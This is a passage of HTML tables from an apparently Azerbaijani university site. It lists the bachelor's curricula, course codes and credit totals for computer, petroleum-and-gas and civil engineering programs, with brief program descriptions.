proqramlaşdırılmasının əsasları</td><td width=\"60\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"156\" style=\"vertical-align:top\">&nbsp; CMS 202</td><td colspan=\"2\" width=\"276\" style=\"vertical-align:top\">&nbsp;Mühəndislikdə Kompüterlərin tətbiqi</td><td width=\"60\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"156\" style=\"vertical-align:top\">&nbsp; CMS 204</td><td colspan=\"2\" width=\"276\" style=\"vertical-align:top\">&nbsp;C-proqramlaşdırma dili</td><td width=\"60\" style=\"text-align:center;vertical-align:top\">4</td></tr><tr><td width=\"156\" style=\"vertical-align:top\">&nbsp; CMS 218</td><td colspan=\"2\" width=\"276\" style=\"vertical-align:top\">Verilənlərin Strukturu və&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Alqoritmlər</td><td width=\"60\" style=\"text-align:center;vertical-align:top\">4</td></tr><tr><td width=\"156\" style=\"vertical-align:top\">&nbsp; MGT 310</td><td colspan=\"2\" width=\"276\" style=\"vertical-align:top\">Mnecement və təşkilatçılıq</td><td width=\"60\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td colspan=\"3\" width=\"432\" style=\"vertical-align:top\">&nbsp;Yuxarı bölgüsü (cəmi 39 kredit)</td><td width=\"60\" style=\"text-align:center;vertical-align:top\">&nbsp;</td></tr><tr><td width=\"156\" style=\"vertical-align:top\">&nbsp; CMS 301</td><td colspan=\"2\" width=\"276\" style=\"vertical-align:top\">Əməliyyat Sistemləri</td><td width=\"60\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"156\" style=\"vertical-align:top\">&nbsp; CMS 309</td><td colspan=\"2\" width=\"276\" style=\"vertical-align:top\">&nbsp;Kompüter şəbəkələri və Rabitə</td><td width=\"60\" style=\"text-align:center;vertical-align:top\">4</td></tr><tr><td width=\"156\" style=\"vertical-align:top\">&nbsp; CMS 314</td><td colspan=\"2\" width=\"276\" style=\"vertical-align:top\">&nbsp;İnformasiya menecementi</td><td width=\"60\" style=\"text-align:center;vertical-align:top\">4</td></tr><tr><td width=\"156\" style=\"vertical-align:top\">&nbsp; CMS 350</td><td colspan=\"2\" width=\"276\" style=\"vertical-align:top\">&nbsp;Kompüter qrafikası</td><td width=\"60\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"156\" style=\"vertical-align:top\">&nbsp; CMS 415</td><td colspan=\"2\" width=\"276\" style=\"vertical-align:top\">&nbsp;Süni İntellekt</td><td width=\"60\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"156\" style=\"vertical-align:top\">&nbsp; CMS 420</td><td colspan=\"2\" width=\"276\" style=\"vertical-align:top\">&nbsp;Obyekt yönümlü proqramlaşdırma dilləri</td><td width=\"60\" style=\"text-align:center;vertical-align:top\">4</td></tr><tr><td width=\"156\" style=\"vertical-align:top\">&nbsp; CMS 425</td><td colspan=\"2\" width=\"276\" style=\"vertical-align:top\">Soft kompütinq</td><td width=\"60\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"156\" style=\"vertical-align:top\">&nbsp; CMS 430</td><td colspan=\"2\" width=\"276\" style=\"vertical-align:top\">&nbsp;Proqram mühəndisliyi</td><td width=\"60\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"156\" style=\"vertical-align:top\">&nbsp;</td><td colspan=\"2\" width=\"276\" style=\"vertical-align:top\">&nbsp;İxtisas üzrə minimum üç seçmə fənn</td><td width=\"60\" style=\"text-align:center;vertical-align:top\">12</td></tr><tr><td colspan=\"3\" width=\"432\" style=\"vertical-align:top\">&nbsp;<strong>SƏRBƏST SEÇMƏ FƏNLƏR</strong></td><td width=\"60\" style=\"text-align:center;vertical-align:top\">6</td></tr><tr><td width=\"156\" style=\"vertical-align:top\">&nbsp;</td><td colspan=\"2\" width=\"276\" style=\"vertical-align:top\">Seçmə fənn 1</td><td width=\"60\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"156\" style=\"vertical-align:top\">&nbsp;</td><td colspan=\"2\" width=\"276\" style=\"vertical-align:top\">Seçmə fənn 2 &nbsp;</td><td width=\"60\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"156\">Cəmi</td><td colspan=\"2\" width=\"276\">&nbsp;</td><td width=\"60\" style=\"text-align:center\">128</td></tr><tr height=\"0\"><td width=\"96\"><br style=\"margin-bottom:10px\"></td><td width=\"168\"><br style=\"margin-bottom:10px\"></td><td width=\"33\"><br style=\"margin-bottom:10px\"></td><td width=\"57\" style=\"text-align:center\">&nbsp;</td></tr></tbody></table>Qeyd: Fakültə digər alternativ fənlər&nbsp; təklif edə bilər&nbsp;&nbsp;<strong>Kompüter Mühəndisliyi üzrə bakalavr dərəcsi proqramı</strong>&nbsp;&nbsp;Bu ixtisas əsasən tələbələrdə kompüterin proqram və sistemlərini dizayn, analiz və istifadə etmək bacarığını öyrədir.&nbsp; Tələbələr kompüter sistemlərinin məntiqi dizayn, kompüter sistemi arxitekturasi, verilənlər strukturu, alqoritmlər, əməliyyat sistemi anlayışı&nbsp;və həm mühəndislik və qeyri-mühəndislikdə avadanlıq və proqram təminatı sistemlərinin tətbiqi kimi bütün əsas aspektlərini öyrənir. Tələbələr kompüter mühəndisliyi biliklərini&nbsp;dövrə nəzəriyyəsi, siqnal və sistemlər, elektron sxemlər və dizayn, inteqral sxemlər və qurğuların istifadəsi kimi müvafiq elektrotexnika&nbsp; biliklərilə genişləndirir.&nbsp;<table cellspacing=\"0\" cellpadding=\"0\" width=\"355\" style=\"color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff;border:1px solid #000\"><tbody><tr><td width=\"113\"><strong>Kod</strong></td><td width=\"168\"><strong>Fənlər</strong></td><td width=\"74\"><strong>Kreditlər</strong></td></tr><tr><td colspan=\"2\" width=\"281\" style=\"vertical-align:top\"><strong>&nbsp;</strong></td><td width=\"74\" style=\"text-align:center;vertical-align:top\">&nbsp;</td></tr><tr><td colspan=\"2\" width=\"281\" style=\"vertical-align:top\"><strong>&nbsp;Universitet tələbləri</strong></td><td width=\"74\" style=\"text-align:center;vertical-align:top\">27</td></tr><tr><td colspan=\"2\" width=\"281\" style=\"vertical-align:top\"><strong>&nbsp;Ümumtəhsil tələbləri</strong></td><td width=\"74\" style=\"text-align:center;vertical-align:top\">21</td></tr><tr><td colspan=\"2\" width=\"281\" style=\"vertical-align:top\"><strong>&nbsp;İxtisas tələblər</strong><strong>i</strong></td><td width=\"74\" style=\"text-align:center;vertical-align:top\">74</td></tr><tr><td colspan=\"2\" width=\"281\" style=\"vertical-align:top\">&nbsp;Riyaziyyat və Elm (cəmi 18 kredit)</td><td width=\"74\" style=\"text-align:center;vertical-align:top\">&nbsp;</td></tr><tr><td width=\"113\" style=\"vertical-align:top\">&nbsp;MATH 102</td><td width=\"168\" style=\"vertical-align:top\">Riyaziyyat II</td><td width=\"74\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"113\" style=\"vertical-align:top\">&nbsp;MATH 231</td><td width=\"168\" style=\"vertical-align:top\">Tətbiqi xətti cəbr</td><td width=\"74\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"113\" style=\"vertical-align:top\">&nbsp;</td><td width=\"168\" style=\"vertical-align:top\">Riyaziyyat üzrə iki seçmə fənn</td><td width=\"74\" style=\"text-align:center;vertical-align:top\">6</td></tr><tr><td width=\"113\" style=\"vertical-align:top\">&nbsp;PHSC 111</td><td width=\"168\" style=\"vertical-align:top\">Fizika I</td><td width=\"74\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"113\" style=\"vertical-align:top\">&nbsp;PHSC 112</td><td width=\"168\" style=\"vertical-align:top\">Fizika II</td><td width=\"74\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td colspan=\"2\" width=\"281\" style=\"vertical-align:top\">Aşağı bölgü (cəmi 18 kredit)</td><td width=\"74\" style=\"text-align:center;vertical-align:top\">&nbsp;</td></tr><tr><td width=\"113\" style=\"vertical-align:top\">&nbsp;CMS 202</td><td width=\"168\" style=\"vertical-align:top\">Mühəndislikdə kompüterlərin tətbiqi</td><td width=\"74\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"113\" style=\"vertical-align:top\">&nbsp;CMS 204</td><td width=\"168\" style=\"vertical-align:top\">C-proqramlaşdırma dilləri</td><td width=\"74\" style=\"text-align:center;vertical-align:top\">4</td></tr><tr><td width=\"113\" style=\"vertical-align:top\">&nbsp;CMS 218</td><td width=\"168\" style=\"vertical-align:top\">Verilənlərin Strukturu və Alqoritmlər</td><td width=\"74\" style=\"text-align:center;vertical-align:top\">4</td></tr><tr><td width=\"113\" style=\"vertical-align:top\">&nbsp;EENG 301</td><td width=\"168\" style=\"vertical-align:top\">Dövrələr nəzəriyyəsi</td><td width=\"74\" style=\"text-align:center;vertical-align:top\">4</td></tr><tr><td width=\"113\" style=\"vertical-align:top\">&nbsp;MGT 310</td><td width=\"168\" style=\"vertical-align:top\">Menecement və təşkilatçılıq</td><td width=\"74\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td colspan=\"2\" width=\"281\" style=\"vertical-align:top\">&nbsp;Yuxarı bölgüsü (cəmi 38 kredit)</td><td width=\"74\" style=\"text-align:center;vertical-align:top\">&nbsp;</td></tr><tr><td width=\"113\" style=\"vertical-align:top\">&nbsp;CMS 301</td><td width=\"168\" style=\"vertical-align:top\">Əməliyyat Sistemləri</td><td width=\"74\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"113\" style=\"vertical-align:top\">&nbsp;CMS 303</td><td width=\"168\" style=\"vertical-align:top\">Rəqəmsal məntiq</td><td width=\"74\" style=\"text-align:center;vertical-align:top\">4</td></tr><tr><td width=\"113\" style=\"vertical-align:top\">&nbsp;CMS 308</td><td width=\"168\" style=\"vertical-align:top\">Kompüter arxitekturası</td><td width=\"74\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"113\" style=\"vertical-align:top\">&nbsp;CMS 309</td><td width=\"168\" style=\"vertical-align:top\">Kompüter şəbəkələri və&nbsp;&nbsp;&nbsp;&nbsp; Rabitə</td><td width=\"74\" style=\"text-align:center;vertical-align:top\">4</td></tr><tr><td width=\"113\" style=\"vertical-align:top\">&nbsp;CMS 316</td><td width=\"168\" style=\"vertical-align:top\">Verilənlər bazasının idarəemə sistemləri</td><td width=\"74\" style=\"text-align:center;vertical-align:top\">4</td></tr><tr><td width=\"113\" style=\"vertical-align:top\">&nbsp;CMS 350</td><td width=\"168\" style=\"vertical-align:top\">Kompüter qrafiki</td><td width=\"74\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"113\" style=\"vertical-align:top\">&nbsp;CMS 420</td><td width=\"168\" style=\"vertical-align:top\">Obyekt yönümlü proqramlaşdırma dilləri</td><td width=\"74\" style=\"text-align:center;vertical-align:top\">4</td></tr><tr><td width=\"113\" style=\"vertical-align:top\">&nbsp;EENG 450</td><td width=\"168\" style=\"vertical-align:top\">Elektronika</td><td width=\"74\" style=\"text-align:center;vertical-align:top\">4</td></tr><tr><td width=\"113\" style=\"vertical-align:top\">&nbsp;</td><td width=\"168\" style=\"vertical-align:top\">İxtisas üzrə minimum üç seçmə fənn</td><td width=\"74\" style=\"text-align:center;vertical-align:top\">&nbsp; 9 &nbsp;</td></tr><tr><td width=\"113\" style=\"vertical-align:top\">&nbsp;<strong>SƏRBƏST SEÇMƏ FƏNLƏR</strong></td><td width=\"168\" style=\"vertical-align:top\">&nbsp;</td><td width=\"74\" style=\"text-align:center;vertical-align:top\">6</td></tr><tr><td width=\"113\" style=\"vertical-align:top\">&nbsp;</td><td width=\"168\" style=\"vertical-align:top\">&nbsp;Seçmə fənn 1</td><td width=\"74\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"113\" style=\"vertical-align:top\">&nbsp;</td><td width=\"168\" style=\"vertical-align:top\">Seçmə fənn 2 &nbsp;</td><td width=\"74\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"113\">Cəmi</td><td width=\"168\">&nbsp;</td><td width=\"74\" style=\"text-align:center\">128</td></tr></tbody></table>Qeyd: Fakültə digər alternativ fənlər&nbsp; təklif edə bilər&nbsp;&nbsp;<strong>&nbsp;Nеft –qaz mühəndisliyi iхtisаsı üzrə bаkаlаvr proqramı</strong>Nеft-qaz mühəndisliyi iхtisаsı, neft və qazın layda süzülməsi, nеft və qаz quyulаrının qаzılmаsı və nеftin çıхаrılmаsı, nеft və qаz yаtаqlаrının işlənməsi, quyu məhsulunun yığılmаsı və nəqliyyаtа hаzırlаnmаsı və s. məsələlərlə sıх əlаqədаrdır.Аzərbаycаn çох zəngin və qədim tаriхi ənənələrə mаlik böyük nеft sənаyеsi оlаn ölkədir.Hаzırdа bir çох bеynəlхаlq nеft şirkətləri Bаkıda fəаliyyət göstərir və bu işbirliyi tələbələrə və məzunlаrа işlə təmin оlunmаq üçün gеniş imkаnlаr yаrаdır.Nеft mühəndisliyi üzrə tədris plаnı məzunlаrın nеft sənаyеsində işləməsi üçün nеft mühəndisliyi еlmləri üzrə fənlərin tədrisini nəzərdə tutur. Gеоlogiya fənləri nеft yаtаqlаrının fоrmаlаşmаsı üçün strukturlаrın tələb оlunаn gеоlоji-fiziki хаssələrini və nеft və qаzın lаylаrdа tоplаnmаsının əlvеrişli gеоlоji şərаitini аrаşdırır.Tələbələr nеft və qаz yаtаqlаrının işlənməsinin nəzəri əsаslаrın, eləcə də kоmpütеr еlmlərinin nеft mühəndisliyi prоblеmlərinə tətbiqi məsələlərini geniş şəkildə öyrənirlər.&nbsp;Bütün bunlarla yanaşı tələbələr nеft və qаzçıхаrmа mədənlərində yay təcrübəsi də kеçirlər.<br style=\"margin-bottom:10px\"><br style=\"margin-bottom:10px\">&nbsp;<table cellspacing=\"0\" cellpadding=\"0\" width=\"391\" style=\"color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff;border:1px solid #000\"><tbody><tr><td width=\"119\" style=\"vertical-align:top\"><strong>Kod</strong></td><td width=\"191\" style=\"vertical-align:top\"><strong>Fən</strong><strong>lər</strong></td><td colspan=\"2\" width=\"81\" style=\"vertical-align:top\"><strong>Kreditlər</strong></td></tr><tr><td width=\"119\" style=\"vertical-align:top\"><strong>&nbsp;</strong></td><td colspan=\"2\" width=\"214\" style=\"vertical-align:top\"><strong>&nbsp;</strong></td><td width=\"58\" style=\"text-align:center;vertical-align:top\">&nbsp;</td></tr><tr><td colspan=\"3\" width=\"333\" style=\"vertical-align:top\"><strong>&nbsp;Universitet tələbləri</strong></td><td width=\"58\" style=\"text-align:center;vertical-align:top\">27</td></tr><tr><td colspan=\"3\" width=\"333\" style=\"vertical-align:top\"><strong>&nbsp;Ümumtəhsil tələbləri</strong></td><td width=\"58\" style=\"text-align:center;vertical-align:top\">21</td></tr><tr><td colspan=\"3\" width=\"333\" style=\"vertical-align:top\"><strong>&nbsp;İxtisas tələblər</strong><strong>i</strong></td><td width=\"58\" style=\"text-align:center;vertical-align:top\">74</td></tr><tr><td colspan=\"3\" width=\"333\" style=\"vertical-align:top\">&nbsp;Riyaziyyat və Elm (cəmi 24 kredit)</td><td width=\"58\" style=\"text-align:center;vertical-align:top\">&nbsp;</td></tr><tr><td width=\"119\" style=\"vertical-align:top\">&nbsp;MATH 102</td><td colspan=\"2\" width=\"214\" style=\"vertical-align:top\">&nbsp;Riyaziyyat II</td><td width=\"58\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"119\" style=\"vertical-align:top\">&nbsp;MATH 310</td><td colspan=\"2\" width=\"214\" style=\"vertical-align:top\">&nbsp;Diferensial tənlkilərin tətbiqi</td><td width=\"58\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"119\" style=\"vertical-align:top\">&nbsp;</td><td colspan=\"2\" width=\"214\" style=\"vertical-align:top\">&nbsp;Riyaziyyat üzrə iki seçmə fənn</td><td width=\"58\" style=\"text-align:center;vertical-align:top\">6</td></tr><tr><td width=\"119\" style=\"vertical-align:top\">&nbsp;PHSC 111</td><td colspan=\"2\" width=\"214\" style=\"vertical-align:top\">&nbsp;Fizika I</td><td width=\"58\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"119\" style=\"vertical-align:top\">&nbsp;PHSC 112</td><td colspan=\"2\" width=\"214\" style=\"vertical-align:top\">&nbsp;Fizika II</td><td width=\"58\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"119\" style=\"vertical-align:top\">&nbsp;CHEM 111</td><td colspan=\"2\" width=\"214\" style=\"vertical-align:top\">&nbsp;Kimya I</td><td width=\"58\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"119\" style=\"vertical-align:top\">&nbsp;CHEM 112</td><td colspan=\"2\" width=\"214\" style=\"vertical-align:top\">&nbsp;Kimya II</td><td width=\"58\" style=\"text-align:center;vertical-align:top\">&nbsp; 3 &nbsp;</td></tr><tr><td colspan=\"3\" width=\"333\" style=\"vertical-align:top\">Mühəndisliyin əsasları (cəmi 16 kredit)</td><td width=\"58\" style=\"text-align:center;vertical-align:top\">&nbsp;</td></tr><tr><td width=\"119\" style=\"vertical-align:top\">&nbsp;ENGR 102</td><td colspan=\"2\" width=\"214\" style=\"vertical-align:top\">&nbsp;Mühəndisliyin Mexanikası</td><td width=\"58\" style=\"text-align:center;vertical-align:top\">4</td></tr><tr><td width=\"119\" style=\"vertical-align:top\">&nbsp;ENGR 203</td><td colspan=\"2\" width=\"214\" style=\"vertical-align:top\">&nbsp;Materialların gücü</td><td width=\"58\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"119\" style=\"vertical-align:top\">&nbsp;ENGR 210</td><td colspan=\"2\" width=\"214\" style=\"vertical-align:top\">&nbsp;Maye Mexanikası</td><td width=\"58\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"119\" style=\"vertical-align:top\">&nbsp;ENGR 303</td><td colspan=\"2\" width=\"214\" style=\"vertical-align:top\">&nbsp;Termodinamika</td><td width=\"58\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"119\" style=\"vertical-align:top\">&nbsp;CMS 350</td><td colspan=\"2\" width=\"214\" style=\"vertical-align:top\">&nbsp;Kompüter qrafikası</td><td width=\"58\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td colspan=\"3\" width=\"333\" style=\"vertical-align:top\">&nbsp;Neft və qaz mühəndisliyi (cəmi 34 kredit)</td><td width=\"58\" style=\"text-align:center;vertical-align:top\">&nbsp;</td></tr><tr><td width=\"119\" style=\"vertical-align:top\">&nbsp;GEOL 103</td><td colspan=\"2\" width=\"214\" style=\"vertical-align:top\">&nbsp;Neft mühəndisləri üçün geologiya</td><td width=\"58\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"119\" style=\"vertical-align:top\">&nbsp;PETE 202</td><td colspan=\"2\" width=\"214\" style=\"vertical-align:top\">&nbsp;Neft və qaz yataqlarının fizikası</td><td width=\"58\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"119\" style=\"vertical-align:top\">&nbsp;PETE 302</td><td colspan=\"2\" width=\"214\" style=\"vertical-align:top\">Qazma mühəndisliyi</td><td width=\"58\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"119\" style=\"vertical-align:top\">&nbsp;PETE 313</td><td colspan=\"2\" width=\"214\" style=\"vertical-align:top\">&nbsp;Neft yataqlarının işlənməsi</td><td width=\"58\" style=\"text-align:center;vertical-align:top\">4</td></tr><tr><td width=\"119\" style=\"vertical-align:top\">&nbsp;PETE 402 &nbsp;</td><td colspan=\"2\" width=\"214\" style=\"vertical-align:top\">&nbsp;Neftçıxarma texnologiyası</td><td width=\"58\" style=\"text-align:center;vertical-align:top\">&nbsp; 3 &nbsp;</td></tr><tr><td width=\"119\" style=\"vertical-align:top\">PETE 415</td><td colspan=\"2\" width=\"214\" style=\"vertical-align:top\">&nbsp;Qaz və Qaz-kondensat&nbsp;<br style=\"margin-bottom:10px\">&nbsp;yataqlarının işlənməsi</td><td width=\"58\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"119\" style=\"vertical-align:top\">&nbsp;ENV 305</td><td colspan=\"2\" width=\"214\" style=\"vertical-align:top\">&nbsp;Sağlamlıq, Təhlükəsizlik və Ətraf Mühit</td><td width=\"58\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"119\" style=\"vertical-align:top\">&nbsp;MGT 310</td><td colspan=\"2\" width=\"214\" style=\"vertical-align:top\">&nbsp;Menecement və təşkilatçılıq</td><td width=\"58\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"119\" style=\"vertical-align:top\">&nbsp;RETE 450</td><td colspan=\"2\" width=\"214\" style=\"vertical-align:top\">&nbsp;Yay təcrübəsi</td><td width=\"58\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"119\" style=\"vertical-align:top\">&nbsp;</td><td colspan=\"2\" width=\"214\" style=\"vertical-align:top\">&nbsp;İxtisasla bağlı iki seçmə fənn</td><td width=\"58\" style=\"text-align:center;vertical-align:top\">6</td></tr><tr><td colspan=\"3\" width=\"333\" style=\"vertical-align:top\"><strong>SƏRBƏST SEÇMƏ FƏNLƏR</strong></td><td width=\"58\" style=\"text-align:center;vertical-align:top\">&nbsp;6</td></tr><tr><td width=\"119\" style=\"vertical-align:top\">&nbsp;</td><td colspan=\"2\" width=\"214\" style=\"vertical-align:top\">&nbsp;Seçmə fənn 1</td><td width=\"58\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"119\" style=\"vertical-align:top\">&nbsp;</td><td colspan=\"2\" width=\"214\" style=\"vertical-align:top\">&nbsp;Seçmə fənn 2</td><td width=\"58\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"119\" style=\"vertical-align:top\">Cəmi</td><td colspan=\"2\" width=\"214\" style=\"vertical-align:top\">&nbsp;</td><td width=\"58\" style=\"text-align:center;vertical-align:top\">128</td></tr><tr height=\"0\"><td width=\"119\"><br style=\"margin-bottom:10px\"></td><td width=\"191\"><br style=\"margin-bottom:10px\"></td><td width=\"23\"><br style=\"margin-bottom:10px\"></td><td width=\"58\" style=\"text-align:center\">&nbsp;</td></tr></tbody></table>Qeyd: Fakültə digər alternativ fənlər&nbsp; təklif edə bilər&nbsp;&nbsp;&nbsp;<strong>İnşaat mühəndisliyi üzrə bakalavr dərəcəsi proqramı.</strong>İnşaat mühəndisliyinin tədrisi&nbsp; tələbələri qüsursuz peşəkar təhsillə təmin etmək üçün nəzərdə tutulub. Əsas elmlərlə əlaqəli dərsləri bitirdikdən sonra tələbələrə Tətbiqi mexanika, Hidravlika, Geodeziya, Materiallar, İnşaat mühəndisliyi və s dərsləri təklif olunur. Dərəcə əldə etmək üçün tələbələrə praktiki təcrübə və xüsusi olaraq yay təcrübəsi götürmək tələb olunur. Seçmə fənlərin təklifi tələbələrə xüsusi sahələrdə öz biliklərini inkişaf etdirməyə imkan verir.&nbsp;<table cellspacing=\"0\" cellpadding=\"0\" width=\"542\" style=\"color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff;border:1px solid #000\"><tbody><tr><td width=\"31%\"><strong>Kod</strong></td><td width=\"56%\"><strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong><strong>Fənlər</strong></td><td width=\"12%\" style=\"text-align:center\"><strong>Kreditlər</strong></td></tr><tr><td colspan=\"2\" width=\"87%\" style=\"vertical-align:top\">&nbsp;</td><td width=\"12%\" style=\"text-align:center;vertical-align:top\">&nbsp;</td></tr><tr><td colspan=\"2\" width=\"87%\" style=\"vertical-align:top\"><strong>&nbsp;Universitet tələbləri</strong></td><td width=\"12%\" style=\"text-align:center;vertical-align:top\">27</td></tr><tr><td colspan=\"2\" width=\"87%\" style=\"vertical-align:top\"><strong>&nbsp;Ümumitəhsil tələbləri</strong></td><td width=\"12%\" style=\"text-align:center;vertical-align:top\">21</td></tr><tr><td colspan=\"2\" width=\"87%\" style=\"vertical-align:top\"><strong>&nbsp;İxtisas tələblər</strong><strong>i</strong></td><td width=\"12%\" style=\"text-align:center;vertical-align:top\">74</td></tr><tr><td colspan=\"2\" width=\"87%\" style=\"vertical-align:top\"><strong>&nbsp;Riyaziyyat və elm (</strong><strong>cəmi</strong><strong>&nbsp;24 kredit)</strong></td><td width=\"12%\" style=\"text-align:center;vertical-align:top\">&nbsp;</td></tr><tr><td width=\"31%\" style=\"vertical-align:top\">&nbsp;MATH 102</td><td width=\"56%\" style=\"vertical-align:top\">&nbsp;Riyaziyyat II</td><td width=\"12%\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"31%\" style=\"vertical-align:top\">&nbsp;MATH 340</td><td width=\"56%\" style=\"vertical-align:top\">&nbsp;Statistik təhlilin tədbiqi</td><td width=\"12%\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"31%\" style=\"vertical-align:top\">&nbsp;</td><td width=\"56%\" style=\"vertical-align:top\">&nbsp;Riyaziyyat üzrə iki seçmə fənn</td><td width=\"12%\" style=\"text-align:center;vertical-align:top\">6</td></tr><tr><td width=\"31%\" style=\"vertical-align:top\">&nbsp;PHSC 111</td><td width=\"56%\" style=\"vertical-align:top\">&nbsp;Fizika I</td><td width=\"12%\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"31%\" style=\"vertical-align:top\">&nbsp;PHSC 112</td><td width=\"56%\" style=\"vertical-align:top\">&nbsp;Fizika II</td><td width=\"12%\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"31%\" style=\"vertical-align:top\">&nbsp;CHEM 111</td><td width=\"56%\" style=\"vertical-align:top\">&nbsp;Kimya I</td><td width=\"12%\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"31%\" style=\"vertical-align:top\">&nbsp;CHEM 112</td><td width=\"56%\" style=\"vertical-align:top\">&nbsp;Kimya II</td><td width=\"12%\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td colspan=\"2\" width=\"87%\" style=\"vertical-align:top\">&nbsp;<strong>Mühəndisliyin Əsasları (</strong><strong>cəmi</strong><strong>&nbsp;16 kredit)</strong></td><td width=\"12%\" style=\"text-align:center;vertical-align:top\">&nbsp;</td></tr><tr><td width=\"31%\" style=\"vertical-align:top\">&nbsp;ENGR 102</td><td width=\"56%\" style=\"vertical-align:top\">&nbsp;Mühəndisliyin mexanikası</td><td width=\"12%\" style=\"text-align:center;vertical-align:top\">4</td></tr><tr><td width=\"31%\" style=\"vertical-align:top\">&nbsp;CIV 224</td><td width=\"56%\" style=\"vertical-align:top\">&nbsp;Maddənin mexanikası</td><td width=\"12%\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"31%\" style=\"vertical-align:top\">&nbsp;ENGR 210</td><td width=\"56%\" style=\"vertical-align:top\">Mayenin mexanikası</td><td width=\"12%\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"31%\" style=\"vertical-align:top\">&nbsp;CIV 363</td><td width=\"56%\" style=\"vertical-align:top\">&nbsp;Torpağın mexanikası</td><td width=\"12%\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"31%\" style=\"vertical-align:top\">&nbsp;CIV 101</td><td width=\"56%\" style=\"vertical-align:top\">&nbsp;İnşaat mühəndisliyinin çertyoju</td><td width=\"12%\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td colspan=\"2\" width=\"87%\" style=\"vertical-align:top\"><strong>&nbsp;İnşaat mühəndisliyi &nbsp;(</strong><strong>cəmi</strong><strong>&nbsp;34 kredit)</strong></td><td width=\"12%\" style=\"text-align:center;vertical-align:top\">&nbsp;</td></tr><tr><td width=\"31%\" style=\"vertical-align:top\">&nbsp;GEOL 102</td><td width=\"56%\" style=\"vertical-align:top\">&nbsp;İnşaat mühəndisləri üçün geologiya</td><td width=\"12%\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"31%\" style=\"vertical-align:top\">&nbsp;CIV 202</td><td width=\"56%\" style=\"vertical-align:top\">&nbsp;Araşdırma</td><td width=\"12%\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"31%\" style=\"vertical-align:top\">&nbsp;CIV 244</td><td width=\"56%\" style=\"vertical-align:top\">&nbsp;Tikinti materialları</td><td width=\"12%\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"31%\" style=\"vertical-align:top\">&nbsp;CIV 313</td><td width=\"56%\" style=\"vertical-align:top\">&nbsp;Tikinti strukturlarının dizaynı</td><td width=\"12%\" style=\"text-align:center;vertical-align:top\">4</td></tr><tr><td width=\"31%\" style=\"vertical-align:top\">&nbsp;CIV 366</td><td width=\"56%\" style=\"vertical-align:top\">&nbsp;Mühəndisliyin əsasları</td><td width=\"12%\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"31%\" style=\"vertical-align:top\">&nbsp;CIV 384</td><td width=\"56%\" style=\"vertical-align:top\">&nbsp;Struktur təhlili</td><td width=\"12%\" style=\"text-align:center;vertical-align:top\">3</td></tr><tr><td width=\"31%\" style=\"vertical-align:top\">&nbsp;ENV 305</td><td width=\"56%\" style=\"vertical-align:top\">&nbsp;Sağlamlıq, Təhlükəsizlik və Ətraf Mühit</td><td width=\"12%\" 